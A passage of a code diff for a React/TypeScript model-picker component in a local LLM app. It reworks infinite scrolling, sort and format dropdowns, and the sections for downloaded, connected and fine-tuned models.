-    const ids = showHfSection ? filteredRecommendedIds : visibleRecommendedIds;
-    for (const id of ids) {
-      const totalParams = recommendedParamCountById.get(id);
+    for (const id of filteredRecommendedIds) {
+      // GGUF fit is size-based and badged elsewhere; skip the qlora estimate.
+      if (isKnownGgufRepo(id)) continue;
+      const totalParams = recommendedParamCountById.get(id) ?? paramsFromId(id);
       if (totalParams) {
         const est = estimateLoadingVram(totalParams, "qlora");
         const status = gpu.available
@@ -1166,47 +2031,66 @@ export function HubModelPicker({
       }
     }
     return map;
-  }, [
-    showHfSection,
-    filteredRecommendedIds,
-    visibleRecommendedIds,
-    recommendedParamCountById,
-    gpu,
-  ]);
+  }, [filteredRecommendedIds, recommendedParamCountById, isKnownGgufRepo, gpu]);
 
-  const { scrollRef, sentinelRef } = useInfiniteScroll(
+  const { scrollRef, sentinelRef } = useHubInfiniteScroll(
     fetchMore,
-    results.length,
+    scannedCount,
+    {
+      enabled: online && hasMore,
+      isFetching: isLoading || isLoadingMore,
+      resultCount: results.length,
+      resetKey: debouncedQuery,
+    },
   );
 
-  // Sentinel + IntersectionObserver for recommended infinite scroll.
-  // Disconnect after each fire so it doesn't loop during re-render; the
-  // effect re-creates it next page. Callback ref detects mount/unmount.
+  // Recompute the top/bottom edge fades from the scroll position.
+  const updateListFades = useCallback((el: HTMLDivElement) => {
+    const scrolled = el.scrollTop > 0;
+    setListScrolled((prev) => (prev === scrolled ? prev : scrolled));
+    const moreBelow = el.scrollHeight - el.scrollTop - el.clientHeight > 1;
+    setListMoreBelow((prev) => (prev === moreBelow ? prev : moreBelow));
+  }, []);
+
+  // Keep the fades in sync when rows are added, removed, or filtered.
+  useEffect(() => {
+    const el = scrollRef.current;
+    if (!el) return;
+    updateListFades(el);
+    const observer = new ResizeObserver(() => updateListFades(el));
+    observer.observe(el);
+    if (el.firstElementChild) observer.observe(el.firstElementChild);
+    return () => observer.disconnect();
+  }, [scrollRef, updateListFades]);
+
+  // Sentinel + IntersectionObserver for recommended infinite scroll. Re-running
+  // on each loaded page (results length) re-attaches the observer so a heavily
+  // filtered list keeps paging until the viewport fills or the listing ends;
+  // fetchMore is a no-op while a page is in flight. Callback ref tracks mount.
   const [recommendedSentinel, setRecommendedSentinel] =
     useState<HTMLDivElement | null>(null);
   const recommendedSentinelRef = useCallback((node: HTMLDivElement | null) => {
     setRecommendedSentinel(node);
   }, []);
   useEffect(() => {
-    if (!recommendedSentinel || !hasMoreRecommended) return;
+    if (!recommendedSentinel || !recommendedSearch.hasMore) return;
     const root = scrollRef.current;
     if (!root) return;
     const obs = new IntersectionObserver(
       ([e]) => {
-        if (e.isIntersecting) {
-          obs.disconnect();
-          setRecommendedPage((p) => p + 1);
-        }
+        if (e.isIntersecting) recommendedSearch.fetchMore();
       },
       { threshold: 0, root },
     );
-    // Small delay so layout settles after the previous page render.
-    const timer = setTimeout(() => obs.observe(recommendedSentinel), 100);
-    return () => {
-      clearTimeout(timer);
-      obs.disconnect();
-    };
-  }, [recommendedSentinel, hasMoreRecommended, recommendedPage, scrollRef]);
+    obs.observe(recommendedSentinel);
+    return () => obs.disconnect();
+  }, [
+    recommendedSentinel,
+    recommendedSearch.hasMore,
+    recommendedSearch.fetchMore,
+    recommendedSearch.results.length,
+    scrollRef,
+  ]);
 
   /** Handle clicking a model row — GGUF repos expand, others load directly. */
   const handleModelClick = useCallback(
@@ -1215,961 +2099,1468 @@ export function HubModelPicker({
         // Toggle GGUF variant expander
         setExpandedGguf((prev) => (prev === id ? null : id));
       } else {
-        onSelect(id, { source: "hub", isLora: false });
+        // Cached repos load now; uncached ones download via the Hub manager.
+        onSelect(id, {
+          source: "hub",
+          isLora: false,
+          isDownloaded: downloadedSet.has(id.toLowerCase()),
+        });
       }
     },
-    [onSelect, isKnownGgufRepo],
+    [onSelect, isKnownGgufRepo, downloadedSet],
   );
 
+  // On Device owns the downloaded and custom-folder models; the Unsloth tab
+  // searches the HF listing (below). Both filter locally by the query.
+  const showDownloaded = section === "downloaded";
+  const showCustom = section === "downloaded";
+  const showRecommendedSection = !showHfSection && section === "recommended";
+  const downloadedEmpty =
+    visibleCachedGguf.length === 0 &&
+    visibleCachedModelRows.length === 0 &&
+    sortedLmStudio.length === 0 &&
+    sortedLocalDir.length === 0 &&
+    // Fine-tuned models are on-device too: don't show the empty state above a
+    // non-empty Fine-tuned section.
+    fineTunedRows.length === 0;
+
+  // Sort dropdown shown inline to the right of the section toggle. Options
+  // depend on the tab and stay visible while searching so results can be
+  // sorted. Fixed width matching the Search Hub button so it and the format
+  // dropdown always line up; text-xs matches that button too. The trigger label
+  // clips (no ellipsis) when long; the open menu expands to show it in full.
+  const sortTriggerClassName =
+    "w-[110px] shrink-0 justify-between pr-2.5 !border-0 text-xs [&>span]:!text-clip";
+  // Tighter menu like the Projects activity Select: less left/top padding and
+  // text-xs to match the trigger. Keep the option's right padding so the
+  // selected-item checkmark never overlaps the label.
+  const sortMenuContentClassName =
+    "!p-1 !rounded-[14px] [&_[role=option]]:!pl-2 [&_[role=option]]:!py-1.5 [&_[role=option]]:!text-xs [&_[role=option]]:!rounded-[10px]";
+  const sectionSortDropdown =
+    section === "recommended" ? (
+      <HubOptionMenu
+        value={recommendedSort}
+        options={RECOMMENDED_SORT_OPTIONS}
+        onValueChange={setRecommendedSort}
+        ariaLabel="Sort Unsloth models"
+        align="end"
+        className={sortTriggerClassName}
+        contentClassName={sortMenuContentClassName}
+      />
+    ) : section === "downloaded" ? (
+      <HubOptionMenu
+        value={downloadedSort}
+        options={LOCAL_SORT_OPTIONS}
+        onValueChange={setDownloadedSort}
+        ariaLabel="Sort downloaded models"
+        align="end"
+        className={sortTriggerClassName}
+        contentClassName={sortMenuContentClassName}
+      />
+    ) : (
+      <HubOptionMenu
+        value={customSort}
+        options={LOCAL_SORT_OPTIONS}
+        onValueChange={setCustomSort}
+        ariaLabel="Sort custom models"
+        align="end"
+        className={sortTriggerClassName}
+        contentClassName={sortMenuContentClassName}
+      />
+    );
+
+  // Connected models grouped by provider, filtered by the shared search query.
+  const connectedGroups = useMemo(() => {
+    const needle = normalizeForSearch(debouncedQuery.trim());
+    const byProvider = new Map<
+      string,
+      {
+        providerId: string;
+        providerName: string;
+        providerType: string;
+        models: ExternalModelOption[];
+      }
+    >();
+    for (const model of externalModels) {
+      const text = normalizeForSearch(
+        `${model.name} ${model.providerName} ${model.id}`,
+      );
+      if (needle && !text.includes(needle)) continue;
+      const prev = byProvider.get(model.providerId);
+      if (prev) {
+        prev.models.push(model);
+      } else {
+        byProvider.set(model.providerId, {
+          providerId: model.providerId,
+          providerName: model.providerName,
+          providerType: model.providerType,
+          models: [model],
+        });
+      }
+    }
+    return [...byProvider.values()]
+      .map((group) => ({
+        ...group,
+        models: group.models.sort((a, b) => a.name.localeCompare(b.name)),
+      }))
+      .sort((a, b) => a.providerName.localeCompare(b.providerName));
+  }, [externalModels, debouncedQuery]);
+  const showConnected = section === "connected";
+  // The Connected layout uses a wider box, so it drops the search inset to keep
+  // Search Hub on the last dropdown's edge while the right gap matches the left.
+  const hasConnected = externalModels.length > 0;
+  // The Other models section and its shortcut only show with non-Unsloth downloads.
+  const hasOtherModels =
+    otherCachedGguf.length > 0 || otherCachedModelRows.length > 0;
+
+  const downloadedRowButtonClassName =
+    "bg-transparent pr-1 hover:bg-transparent focus-visible:bg-transparent dark:bg-transparent dark:hover:bg-transparent dark:focus-visible:bg-transparent";
+  const downloadedRowShellClassName = (selected: boolean) =>
+    cn(
+      "group flex items-center rounded-full transition-colors hover:bg-[#ececec] focus-within:bg-[#ececec] dark:hover:bg-[var(--sidebar-accent)] dark:focus-within:bg-[var(--sidebar-accent)]",
+      selected && "bg-[#ececec] dark:bg-[var(--sidebar-accent)]",
+    );
+
+  // Shared row renderers so Downloaded (Unsloth) and Other models render alike.
+  const renderDownloadedGgufRow = (c: (typeof visibleCachedGguf)[number]) => {
+    const optionKey = makeModelOptionKey("downloaded-gguf", c.repo_id);
+    const isSelected = value === c.repo_id;
+    return (
+      <div key={c.repo_id}>
+        <div className={downloadedRowShellClassName(isSelected)}>
+          <div className="min-w-0 flex-1">
+            <ModelRow
+              label={c.repo_id}
+              meta="GGUF"
+              showVision={c.has_vision ?? visionByRepo[c.repo_id]}
+              selected={isSelected}
+              optionProps={hubModelList.getOptionProps(optionKey, isSelected)}
+              onClick={() => toggleGgufExpanded(c.repo_id)}
+              onArrowDownIntoChildren={
+                isGgufExpanded(c.repo_id)
+                  ? () => focusFirstChildOption(optionKey)
+                  : undefined
+              }
+              vramStatus={null}
+              className={downloadedRowButtonClassName}
+            />
+          </div>
+          <span aria-hidden="true" className="mr-1 h-6 w-[26px] shrink-0" />
+        </div>
+        {isGgufExpanded(c.repo_id) && (
+          <GgufVariantExpander
+            repoId={c.repo_id}
+            onDevice={true}
+            onHasVision={(v) => reportVision(c.repo_id, v)}
+            onSelect={onSelect}
+            parentOptionKey={optionKey}
+            onNavigatePastStart={() => hubModelList.focusOption(optionKey)}
+            onNavigatePastEnd={() => hubModelList.moveFocus(optionKey, "next")}
+            gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
+            systemRamGb={gpu.systemRamAvailableGb || undefined}
+            onDeleteVariant={async (quant) => {
+              await deleteCachedModel(c.repo_id, quant);
+              refreshCachedLists();
+            }}
+          />
+        )}
+      </div>
+    );
+  };
+  const renderDownloadedModelRow = (
+    c: (typeof visibleCachedModelRows)[number],
+  ) => {
+    const optionKey = makeModelOptionKey("downloaded-model", c.repo_id);
+    const isSelected = value === c.repo_id;
+    return (
+      <div
+        key={c.repo_id}
+        className={downloadedRowShellClassName(isSelected)}
+      >
+        <div className="min-w-0 flex-1">
+          <ModelRow
+            label={c.repo_id}
+            meta={`${isMlxId(c.repo_id) ? "MLX" : "Safetensors"} · ${formatBytes(
+              c.size_bytes,
+            )}`}
+            selected={isSelected}
+            optionProps={hubModelList.getOptionProps(
+              optionKey,
+              isSelected,
+            )}
+            onClick={() =>
+              onSelect(c.repo_id, {
+                source: "hub",
+                isLora: false,
+                isDownloaded: true,
+              })
+            }
+            vramStatus={null}
+            className={downloadedRowButtonClassName}
+          />
+        </div>
+        <ModelDeleteAction
+          ariaLabel={`Delete ${c.repo_id}`}
+          title="Delete cached model?"
+          description={
+            <>
+              This will remove{" "}
+              <span className="font-medium text-foreground">{c.repo_id}</span>{" "}
+              from disk. You can re-download it later.
+            </>
+          }
+          successMessage={`Deleted ${c.repo_id}`}
+          buttonClassName="mr-1"
+          onConfirm={() => deleteCachedModel(c.repo_id)}
+          onDeleted={refreshCachedLists}
+        />
+      </div>
+    );
+  };
+
   return (
-    <div className="space-y-2">
-      <div className="relative">
-        <HugeiconsIcon
-          icon={Search01Icon}
-          className="pointer-events-none absolute left-2.5 top-2.5 size-4 text-muted-foreground"
-        />
-        <Input
-          value={query}
-          onChange={(event) => setQuery(event.target.value)}
-          placeholder="Search models"
-          data-model-picker-search-input={true}
-          className="h-9 border-[#f2f2f2] dark:border-input pl-8 pr-8"
-        />
-        {isLoading && (
-          <Spinner className="pointer-events-none absolute right-2.5 top-2.5 size-4 text-muted-foreground" />
+    <div className="relative space-y-2">
+      {/* A small right inset shortens the search bar so Search Hub lands on the
+          last dropdown's right edge (none on the wider Connected box). */}
+      <div
+        className={cn(
+          "flex items-center gap-2 pb-1",
+          hasConnected ? "pr-0" : "pr-2",
+        )}
+      >
+        <div className="relative flex-1">
+          <HugeiconsIcon
+            icon={Search01Icon}
+            className="pointer-events-none absolute left-2.5 top-2.5 size-4 text-muted-foreground"
+          />
+          <Input
+            value={query}
+            onChange={(event) => setQuery(event.target.value)}
+            placeholder="Search models"
+            data-model-picker-search-input={true}
+            className="field-soft h-9 border-0 pl-8 pr-8"
+          />
+          {isLoading && (
+            <Spinner className="pointer-events-none absolute right-2.5 top-2.5 size-4 text-muted-foreground" />
+          )}
+        </div>
+        {onBrowseHub ? (
+          <button
+            type="button"
+            onClick={onBrowseHub}
+            aria-label="Search more models on the Hub"
+            className="hub-tab-toggle-pill flex h-9 w-[110px] shrink-0 items-center justify-center gap-[5px] rounded-full border-0 text-xs text-foreground transition-colors"
+          >
+            <HugeiconsIcon icon={DashboardCircleIcon} className="size-4" />
+            Search Hub
+          </button>
+        ) : null}
+      </div>
+
+      {/* Section tabs then the format and sort dropdowns, packed left with one
+          uniform gap between every control. The box is sized so the last
+          dropdown still lands on Search Hub's edge. Dropdowns hide on Connected. */}
+      <div className="flex items-center gap-2">
+        {sectionToggle}
+        {showConnected ? null : (
+          <div className="flex items-center gap-2">
+            <HubOptionMenu
+              value={formatFilter}
+              options={FORMAT_FILTER_OPTIONS}
+              onValueChange={setFormatFilter}
+              ariaLabel="Filter by format"
+              align="end"
+              className={sortTriggerClassName}
+              contentClassName={sortMenuContentClassName}
+            />
+            {sectionSortDropdown}
+          </div>
         )}
       </div>
 
       <div
         ref={scrollRef}
-        className="max-h-64 overflow-y-auto"
+        onScroll={(e) => updateListFades(e.currentTarget)}
+        className={cn(
+          // List sits within the menu padding so left and right gaps match.
+          // Height tracks the content up to the cap, so short lists do not
+          // leave white space. scroll-py + symmetric px keep the focus ring off
+          // the overflow clip edges during keyboard nav.
+          "model-list-scroll max-h-[21rem] overflow-y-auto scroll-py-1.5 px-0.5 mr-1",
+          listScrolled && "is-scrolled",
+          listMoreBelow && "is-bottom-faded",
+        )}
         {...hubModelList.listboxProps}
       >
-        <div className="py-1">
-          {/* First-load spinner only when nothing cached is shown yet. */}
-          {!cachedReady &&
-          !showHfSection &&
-          visibleCachedGguf.length === 0 &&
-          visibleCachedModelRows.length === 0 ? (
-            <div className="flex items-center gap-2 px-5 py-3">
-              <Spinner className="size-3 text-muted-foreground" />
-              <span className="text-xs text-muted-foreground">
-                Loading models…
-              </span>
-            </div>
-          ) : null}
-
-          {/* Downloaded stays visible (filtered) while searching. */}
-          {visibleCachedGguf.length > 0 || visibleCachedModelRows.length > 0 ? (
-            <>
-              <ListLabel
-                icon={<HugeiconsIcon icon={Download01Icon} className="size-3" />}
-                collapsed={downloadedCollapsed}
-                onToggle={() => setDownloadedCollapsed((v) => !v)}
-              >Downloaded</ListLabel>
-              {!downloadedCollapsed &&
-                visibleCachedGguf.map((c) => {
-                  const optionKey = makeModelOptionKey("downloaded-gguf", c.repo_id);
-                  return (
-                    <div key={c.repo_id}>
-                      <ModelRow
-                        label={c.repo_id}
-                        meta={`GGUF · ${formatBytes(c.size_bytes)}`}
-                        selected={value === c.repo_id}
-                        optionProps={hubModelList.getOptionProps(
-                          optionKey,
-                          value === c.repo_id,
-                        )}
-                        onClick={() =>
-                          setExpandedGguf((prev) =>
-                            prev === c.repo_id ? null : c.repo_id,
-                          )
-                        }
-                        onArrowDownIntoChildren={
-                          expandedGguf === c.repo_id
-                            ? () => {
-                                const focused = focusFirstChildOption(optionKey);
-                                return focused;
-                              }
-                            : undefined
-                        }
-                        vramStatus={null}
-                      />
-                      {expandedGguf === c.repo_id && (
-                        <GgufVariantExpander
-                          repoId={c.repo_id}
-                          onSelect={onSelect}
-                          parentOptionKey={optionKey}
-                          onNavigatePastStart={() =>
-                            hubModelList.focusOption(optionKey)
-                          }
-                          onNavigatePastEnd={() =>
-                            hubModelList.moveFocus(optionKey, "next")
-                          }
-                          gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
-                          systemRamGb={
-                            gpu.available ? gpu.systemRamAvailableGb : undefined
-                          }
-                          onDeleteVariant={async (quant) => {
-                            await deleteCachedModel(c.repo_id, quant);
-                            refreshCachedLists();
-                          }}
-                        />
-                      )}
-                    </div>
-                  );
-                })}
-              {!downloadedCollapsed &&
-                visibleCachedModelRows.map((c) => {
-                  const optionKey = makeModelOptionKey("downloaded-model", c.repo_id);
-                  return (
-                    <div key={c.repo_id} className="flex items-center gap-0.5">
-                      <div className="min-w-0 flex-1">
-                        <ModelRow
-                          label={c.repo_id}
-                          meta={formatBytes(c.size_bytes)}
-                          selected={value === c.repo_id}
-                          optionProps={hubModelList.getOptionProps(
-                            optionKey,
-                            value === c.repo_id,
-                          )}
-                          onClick={() =>
-                            onSelect(c.repo_id, {
-                              source: "hub",
-                              isLora: false,
-                              isDownloaded: true,
-                            })
-                          }
-                          vramStatus={null}
-                        />
-                      </div>
-                      <ModelDeleteAction
-                        ariaLabel={`Delete ${c.repo_id}`}
-                        title="Delete cached model?"
-                        description={
-                          <>
-                            This will remove{" "}
-                            <span className="font-medium text-foreground">
-                              {c.repo_id}
-                            </span>{" "}
-                            from disk. You can re-download it later.
-                          </>
-                        }
-                        successMessage={`Deleted ${c.repo_id}`}
-                        onConfirm={() => deleteCachedModel(c.repo_id)}
-                        onDeleted={refreshCachedLists}
-                      />
-                    </div>
-                  );
-                })}
-            </>
-          ) : null}
-
-          {!showHfSection && chatOnly && lmStudioModels.length > 0 ? (
-            <>
-              <ListLabel>LM Studio</ListLabel>
-              {lmStudioModels.map((m) => {
-                const isGgufFile = m.path.toLowerCase().endsWith(".gguf");
-                const isGguf = isGgufRepo(m.id) || isGgufRepo(m.display_name);
-                const optionKey = makeModelOptionKey("lm-studio", m.id);
-                return (
-                  <div key={m.id}>
-                    <ModelRow
-                      label={m.model_id ?? m.display_name}
-                      meta={isGguf || isGgufFile ? "GGUF" : "Local"}
-                      selected={value === m.id}
-                      optionProps={hubModelList.getOptionProps(
-                        optionKey,
-                        value === m.id,
-                      )}
-                      onClick={() => {
-                        if (isGguf) {
-                          setExpandedGguf((prev) =>
-                            prev === m.id ? null : m.id,
-                          );
-                        } else {
-                          onSelect(m.id, {
-                            source: "local",
-                            isLora: false,
-                            isDownloaded: true,
-                            isGguf: isGgufFile,
-                          });
-                        }
-                      }}
-                      onArrowDownIntoChildren={
-                        expandedGguf === m.id
-                          ? () => {
-                              const focused = focusFirstChildOption(optionKey);
-                              return focused;
-                            }
-                          : undefined
-                      }
-                      vramStatus={null}
-                    />
-                    {expandedGguf === m.id && (
-                      <GgufVariantExpander
-                        repoId={m.id}
-                        onSelect={onSelect}
-                        parentOptionKey={optionKey}
-                        onNavigatePastStart={() =>
-                          hubModelList.focusOption(optionKey)
-                        }
-                        onNavigatePastEnd={() =>
-                          hubModelList.moveFocus(optionKey, "next")
-                        }
-                        gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
-                        systemRamGb={
-                          gpu.available ? gpu.systemRamAvailableGb : undefined
-                        }
-                      />
-                    )}
-                  </div>
-                );
-              })}
-            </>
-          ) : null}
-
-          {!showHfSection ? (
-            <>
-              <div className="flex items-center gap-1 px-2.5 py-1.5">
-                <span className="flex items-center gap-1.5 text-[10px] font-semibold uppercase tracking-wider text-muted-foreground">
-                  <HugeiconsIcon icon={Folder02Icon} className="size-3" />
-                  Custom Folders
-                </span>
-                <div className="flex items-center gap-0.5">
-                  <button
-                    type="button"
-                    aria-label={showFolderInput ? "Cancel adding folder" : "Add scan folder by path"}
-                    title={showFolderInput ? "Cancel" : "Add by typing a path"}
-                    onClick={() => {
-                      setShowFolderInput((open) => {
-                        if (open) { setFolderInput(""); setFolderError(null); }
-                        return !open;
-                      });
-                    }}
-                    className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
-                  >
-                    <HugeiconsIcon icon={showFolderInput ? Cancel01Icon : Add01Icon} className="size-3" />
-                  </button>
-                  <button
-                    type="button"
-                    aria-label="Browse for a folder on the server"
-                    title="Browse folders on the server"
-                    onClick={() => setShowFolderBrowser(true)}
-                    className="shrink-0 rounded p-0.5 text-muted-foreground/60 transition-colors hover:text-foreground"
-                  >
-                    <HugeiconsIcon icon={Search01Icon} className="size-2.5" />
-                  </button>
-                </div>
-                <div className="ml-auto">
-                  <button
-                    type="button"
-                    aria-label={customFoldersCollapsed ? "Expand custom folders" : "Collapse custom folders"}
-                    title={customFoldersCollapsed ? "Expand" : "Collapse"}
-                    onClick={() => setCustomFoldersCollapsed((v) => !v)}
-                    className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
-                  >
-                    {customFoldersCollapsed
-                      ? <ChevronRightIcon className="size-3" />
-                      : <ChevronDownIcon className="size-3" />}
-                  </button>
-                </div>
+        {/* Clear space for the floating Eject pill when scrolled to the end, so
+            its gap above the last row matches its gap below (applies to every
+            section, including Recommended). */}
+        <div
+          className={cn(
+            "pr-0",
+            // On Device pulls the heading block tight to the controls; Recommended
+            // keeps a little more top room above its first row.
+            showDownloaded ? "pt-0" : "pt-[4px]",
+            onEject ? "pb-[60px]" : "pb-4",
+          )}
+        >
+          {showConnected ? (
+            connectedGroups.length === 0 ? (
+              <div className="px-2.5 py-2 text-xs leading-relaxed text-muted-foreground">
+                {externalModels.length === 0
+                  ? "No models from your connections. Set up in Settings then Connections."
+                  : "No models match your search."}
               </div>
-
-              {/* Folder paths */}
-              {!customFoldersCollapsed && scanFolders.map((f) => (
-                <div
-                  key={f.id}
-                  className="group flex items-center gap-1.5 px-2.5 py-0.5"
-                >
-                  <HugeiconsIcon icon={Folder02Icon} className="size-3 shrink-0 text-muted-foreground/40" />
-                  <span
-                    className="min-w-0 flex-1 truncate font-mono text-[10px] text-muted-foreground/70"
-                    title={f.path}
-                  >
-                    {f.path}
-                  </span>
-                  <button
-                    type="button"
-                    onClick={() => handleRemoveFolder(f.id)}
-                    aria-label={`Remove folder ${f.path}`}
-                    className="shrink-0 rounded p-1 text-foreground/70 transition-colors hover:bg-destructive/10 hover:text-destructive focus-visible:bg-destructive/10 focus-visible:text-destructive"
-                  >
-                    <HugeiconsIcon icon={Cancel01Icon} className="size-3" />
-                  </button>
-                </div>
-              ))}
-
-              {/* Recommended folders */}
-              {!customFoldersCollapsed && (() => {
-                const registered = new Set(scanFolders.map((f) => f.path));
-                const unregistered = recommendedFolders.filter((p) => !registered.has(p));
-                if (unregistered.length === 0) return null;
-                return (
-                  <div className="flex flex-wrap gap-1 px-2.5 pb-0.5">
-                    {unregistered.map((p) => (
-                      <button
-                        key={p}
-                        type="button"
-                        onClick={() => void handleAddFolder(p)}
-                        disabled={folderLoading}
-                        title={`Add ${p}`}
-                        className="rounded-full border border-dashed border-border/50 px-2 py-0.5 font-mono text-[10px] text-muted-foreground/70 transition-colors hover:border-foreground/30 hover:bg-accent hover:text-foreground disabled:opacity-40"
-                      >
-                        <span className="text-[11px] font-semibold">+</span> {p.length > 30 ? `...${p.slice(-27)}` : p}
-                      </button>
-                    ))}
-                  </div>
-                );
-              })()}
-
-              {/* Add folder input */}
-              {!customFoldersCollapsed && showFolderInput && (
-                <div className="px-2.5 pb-1 pt-0.5">
-                  <div className="flex items-center gap-1">
-                    <HugeiconsIcon icon={Folder02Icon} className="size-3 shrink-0 text-muted-foreground/40" />
-                    <input
-                      value={folderInput}
-                      onChange={(e) => { setFolderInput(e.target.value); setFolderError(null); }}
-                      onKeyDown={(e) => {
-                        if (e.key === "Enter") { e.preventDefault(); handleAddFolder(); }
-                        if (e.key === "Escape") { e.preventDefault(); e.stopPropagation(); setShowFolderInput(false); setFolderInput(""); setFolderError(null); }
-                      }}
-                      placeholder="/path/to/models"
-                      className="h-6 min-w-0 flex-1 rounded border border-border/50 bg-transparent px-1.5 font-mono text-[10px] text-foreground outline-none placeholder:text-muted-foreground/40 focus:border-foreground/20"
-                      disabled={folderLoading}
-                      autoFocus={true}
+            ) : (
+              connectedGroups.map((group) => (
+                <div key={group.providerId}>
+                  <div className="flex items-center gap-2 px-2.5 py-1.5 text-[10px] font-semibold uppercase tracking-wider text-muted-foreground">
+                    <ApiProviderLogo
+                      providerType={group.providerType}
+                      className="size-3.5"
+                      title={group.providerName}
                     />
+                    <span className="min-w-0 truncate">
+                      {group.providerName}
+                    </span>
+                  </div>
+                  {group.models.map((model) => (
+                    <button
+                      key={model.id}
+                      type="button"
+                      onClick={() =>
+                        onSelect(model.id, {
+                          source: "external",
+                          isLora: false,
+                        })
+                      }
+                      className={cn(
+                        "flex w-full items-center rounded-md px-2.5 py-1.5 text-left text-sm transition-colors hover:bg-[#ececec] dark:hover:bg-[var(--sidebar-accent)]",
+                        value === model.id &&
+                          "bg-[#ececec] dark:bg-[var(--sidebar-accent)]",
+                      )}
+                    >
+                      <span className="min-w-0 truncate">{model.name}</span>
+                    </button>
+                  ))}
+                </div>
+              ))
+            )
+          ) : (
+            <>
+              {/* First-load spinner only when nothing cached is shown yet. */}
+              {showDownloaded &&
+              !cachedReady &&
+              !showHfSection &&
+              downloadedEmpty ? (
+                <div className="flex items-center gap-2 px-5 py-3">
+                  <Spinner className="size-3 text-muted-foreground" />
+                  <span className="text-xs text-muted-foreground">
+                    Loading models…
+                  </span>
+                </div>
+              ) : null}
+
+              {/* Empty On Device: a search miss vs nothing downloaded yet. Hidden
+              when custom folders below still have matches. */}
+              {showDownloaded &&
+              cachedReady &&
+              downloadedEmpty &&
+              sortedCustomFolderModels.length === 0 ? (
+                <div className="px-2.5 py-2 text-xs text-muted-foreground">
+                  {showHfSection
+                    ? "No matching models on device."
+                    : formatFilter === "all"
+                      ? "No downloaded models yet. Search above or pick Recommended."
+                      : `No downloaded ${FORMAT_FILTER_LABELS[formatFilter]} models yet.`}
+                </div>
+              ) : null}
+
+              {/* Downloaded (Unsloth) stays visible (filtered) while searching. */}
+              {showDownloaded &&
+              (unslothCachedGguf.length > 0 ||
+                unslothCachedModelRows.length > 0) ? (
+                <>
+                  <ListLabel
+                    collapsed={downloadedCollapsed}
+                    onToggle={() => setDownloadedCollapsed((v) => !v)}
+                    action={
+                      <>
+                        {hasOtherModels ? (
+                          <Tooltip delayDuration={0}>
+                            <TooltipTrigger asChild={true}>
+                              <button
+                                type="button"
+                                onClick={scrollToOtherModels}
+                                aria-label="Go to other models"
+                                className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
+                              >
+                                <HugeiconsIcon
+                                  icon={Flag01Icon}
+                                  className="size-3"
+                                />
+                              </button>
+                            </TooltipTrigger>
+                            <TooltipContent
+                              side="bottom"
+                              className="tooltip-compact"
+                            >
+                              Other non-Unsloth models
+                            </TooltipContent>
+                          </Tooltip>
+                        ) : null}
+                        <Tooltip delayDuration={0}>
+                          <TooltipTrigger asChild={true}>
+                            <button
+                              type="button"
+                              onClick={scrollToFineTuned}
+                              aria-label="Go to fine-tuned models"
+                              className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
+                            >
+                              <HugeiconsIcon
+                                icon={TrainIcon}
+                                className="size-3"
+                              />
+                            </button>
+                          </TooltipTrigger>
+                          <TooltipContent
+                            side="bottom"
+                            className="tooltip-compact"
+                          >
+                            Go to fine-tuned models
+                          </TooltipContent>
+                        </Tooltip>
+                        <Tooltip delayDuration={0}>
+                          <TooltipTrigger asChild={true}>
+                            <button
+                              type="button"
+                              onClick={scrollToCustomFolders}
+                              aria-label="Go to custom folders"
+                              className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
+                            >
+                              <HugeiconsIcon
+                                icon={Folder02Icon}
+                                className="size-3"
+                              />
+                            </button>
+                          </TooltipTrigger>
+                          <TooltipContent
+                            side="bottom"
+                            className="tooltip-compact"
+                          >
+                            Go to custom folders
+                          </TooltipContent>
+                        </Tooltip>
+                      </>
+                    }
+                  >
+                    {/* When other providers (LM Studio/Ollama) also show here, name
+                    this group "Unsloth" so the two are easy to tell apart. */}
+                    {sortedLmStudio.length > 0 ? "Unsloth" : "Downloaded"}
+                  </ListLabel>
+                  {!downloadedCollapsed &&
+                    unslothCachedGguf.map(renderDownloadedGgufRow)}
+                  {!downloadedCollapsed &&
+                    unslothCachedModelRows.map(renderDownloadedModelRow)}
+                </>
+              ) : null}
+
+              {/* Other models: non-Unsloth downloads, grouped just above
+              Fine-tuned. Shown only when such models exist. */}
+              {showDownloaded && hasOtherModels ? (
+                <div ref={otherModelsSectionRef}>
+                  <ListLabel
+                    divider={true}
+                    icon={
+                      <HugeiconsIcon icon={Flag01Icon} className="size-3.5" />
+                    }
+                    collapsed={otherModelsCollapsed}
+                    onToggle={() => setOtherModelsCollapsed((v) => !v)}
+                  >
+                    Other models
+                  </ListLabel>
+                  {!otherModelsCollapsed &&
+                    otherCachedGguf.map(renderDownloadedGgufRow)}
+                  {!otherModelsCollapsed &&
+                    otherCachedModelRows.map(renderDownloadedModelRow)}
+                </div>
+              ) : null}
+
+              {/* Fine-tuned models: a section above Custom Folders. Always shown on
+              On Device so the train shortcut always has a target, with an empty
+              state when none exist. */}
+              {section === "downloaded" ? (
+                <>
+                  <div
+                    ref={fineTunedSectionRef}
+                    className="mt-3 flex items-center gap-1 border-t border-border/50 px-2.5 pb-1 pt-3"
+                  >
+                    <span className="flex items-center gap-1.5 text-[10px] font-semibold uppercase tracking-wider text-muted-foreground">
+                      <HugeiconsIcon icon={TrainIcon} className="size-3.5" />
+                      Fine-tuned
+                    </span>
+                    <div className="ml-auto">
+                      <button
+                        type="button"
+                        aria-label={
+                          fineTunedCollapsed
+                            ? "Expand fine-tuned models"
+                            : "Collapse fine-tuned models"
+                        }
+                        title={fineTunedCollapsed ? "Expand" : "Collapse"}
+                        onClick={() => setFineTunedCollapsed((v) => !v)}
+                        className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
+                      >
+                        {fineTunedCollapsed ? (
+                          <ChevronRightIcon className="size-3" />
+                        ) : (
+                          <ChevronDownIcon className="size-3" />
+                        )}
+                      </button>
+                    </div>
+                  </div>
+                  {!fineTunedCollapsed && fineTunedRows.length > 0 && (
+                    <FineTunedRows
+                      adapters={fineTunedRows}
+                      value={value}
+                      onSelect={onSelect}
+                      onModelsChange={onModelsChange}
+                      deleteDisabled={deleteDisabled}
+                      loraModelList={hubModelList}
+                      expandedGguf={expandedGguf}
